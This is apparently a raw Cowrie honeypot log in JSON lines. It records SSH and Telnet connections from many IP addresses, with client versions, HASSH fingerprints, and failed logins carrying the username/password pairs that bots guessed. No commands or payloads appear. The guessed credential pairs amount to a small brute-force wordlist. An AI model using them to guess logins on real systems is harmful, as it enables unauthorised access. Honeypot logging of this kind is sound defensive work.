{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:49.915820Z","src_ip":"202.53.94.246","session":"92af5bf309fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAA123aaa","message":"login attempt [root/AAA123aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:50.772020Z","src_ip":"202.53.94.246","session":"92af5bf309fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:08:51.991703Z","src_ip":"202.53.94.246","session":"92af5bf309fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":56018,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f0d0953b7fe","protocol":"ssh","message":"New connection: 45.144.233.56:56018 (10.17.0.5:22) [session: 2f0d0953b7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:06.319879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:06.337347Z","src_ip":"45.144.233.56","session":"2f0d0953b7fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:06.440563Z","src_ip":"45.144.233.56","session":"2f0d0953b7fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svxlink","password":"svxlink","message":"login attempt [svxlink/svxlink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:06.929476Z","src_ip":"45.144.233.56","session":"2f0d0953b7fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:08.039858Z","src_ip":"45.144.233.56","session":"2f0d0953b7fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":51682,"dst_ip":"10.17.0.5","dst_port":22,"session":"17b6acbdf5c1","protocol":"ssh","message":"New connection: 20.160.86.7:51682 (10.17.0.5:22) [session: 17b6acbdf5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:11.778823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:11.784012Z","src_ip":"20.160.86.7","session":"17b6acbdf5c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:11.867826Z","src_ip":"20.160.86.7","session":"17b6acbdf5c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"1234","message":"login attempt [devuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:12.231387Z","src_ip":"20.160.86.7","session":"17b6acbdf5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:13.318724Z","src_ip":"20.160.86.7","session":"17b6acbdf5c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":56728,"dst_ip":"159.203.135.109","dst_port":22,"session":"d10e5804ac52","protocol":"ssh","message":"New connection: 103.154.241.42:56728 (159.203.135.109:22) [session: d10e5804ac52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:19.487078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:19.492757Z","src_ip":"103.154.241.42","session":"d10e5804ac52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:19.741803Z","src_ip":"103.154.241.42","session":"d10e5804ac52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"userpassword","message":"login attempt [user/userpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:20.758507Z","src_ip":"103.154.241.42","session":"d10e5804ac52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:22.009766Z","src_ip":"103.154.241.42","session":"d10e5804ac52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":36646,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b25f62e3de4","protocol":"ssh","message":"New connection: 190.223.60.209:36646 (10.17.0.5:22) [session: 1b25f62e3de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:25.325498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:25.331028Z","src_ip":"190.223.60.209","session":"1b25f62e3de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:25.457814Z","src_ip":"190.223.60.209","session":"1b25f62e3de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc@123","message":"login attempt [ubuntu/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:26.004777Z","src_ip":"190.223.60.209","session":"1b25f62e3de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:27.136333Z","src_ip":"190.223.60.209","session":"1b25f62e3de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00361442565918,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:48.363201Z","src_ip":"98.30.219.209","session":"587d2eccc3cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":46476,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fd614b2a4f5","protocol":"ssh","message":"New connection: 186.148.224.183:46476 (159.203.135.109:22) [session: 4fd614b2a4f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:48.562097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:48.567555Z","src_ip":"186.148.224.183","session":"4fd614b2a4f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:48.714049Z","src_ip":"186.148.224.183","session":"4fd614b2a4f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"root","message":"login attempt [sftpuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:49.351110Z","src_ip":"186.148.224.183","session":"4fd614b2a4f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":56612,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8fe0cd6bd5a","protocol":"telnet","message":"New connection: 98.30.219.209:56612 (10.17.0.5:23) [session: c8fe0cd6bd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:50.374798Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:09:50.501435Z","src_ip":"186.148.224.183","session":"4fd614b2a4f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55180,"dst_ip":"159.203.135.109","dst_port":22,"session":"139e32e18408","protocol":"ssh","message":"New connection: 103.153.68.219:55180 (159.203.135.109:22) [session: 139e32e18408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:01.065100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:01.070008Z","src_ip":"103.153.68.219","session":"139e32e18408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:01.330199Z","src_ip":"103.153.68.219","session":"139e32e18408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qwertyu","message":"login attempt [root/123456789qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:02.090435Z","src_ip":"103.153.68.219","session":"139e32e18408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:03.348378Z","src_ip":"103.153.68.219","session":"139e32e18408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35444,"dst_ip":"10.17.0.5","dst_port":22,"session":"736f1af207df","protocol":"ssh","message":"New connection: 193.37.70.224:35444 (10.17.0.5:22) [session: 736f1af207df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:06.477787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:06.488794Z","src_ip":"193.37.70.224","session":"736f1af207df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:06.584641Z","src_ip":"193.37.70.224","session":"736f1af207df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kretsaha53","message":"login attempt [root/kretsaha53] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:06.872934Z","src_ip":"193.37.70.224","session":"736f1af207df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:07.970297Z","src_ip":"193.37.70.224","session":"736f1af207df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":58884,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bc4f01165e7","protocol":"ssh","message":"New connection: 103.154.77.48:58884 (159.203.135.109:22) [session: 1bc4f01165e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:09.285399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:09.291257Z","src_ip":"103.154.77.48","session":"1bc4f01165e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-c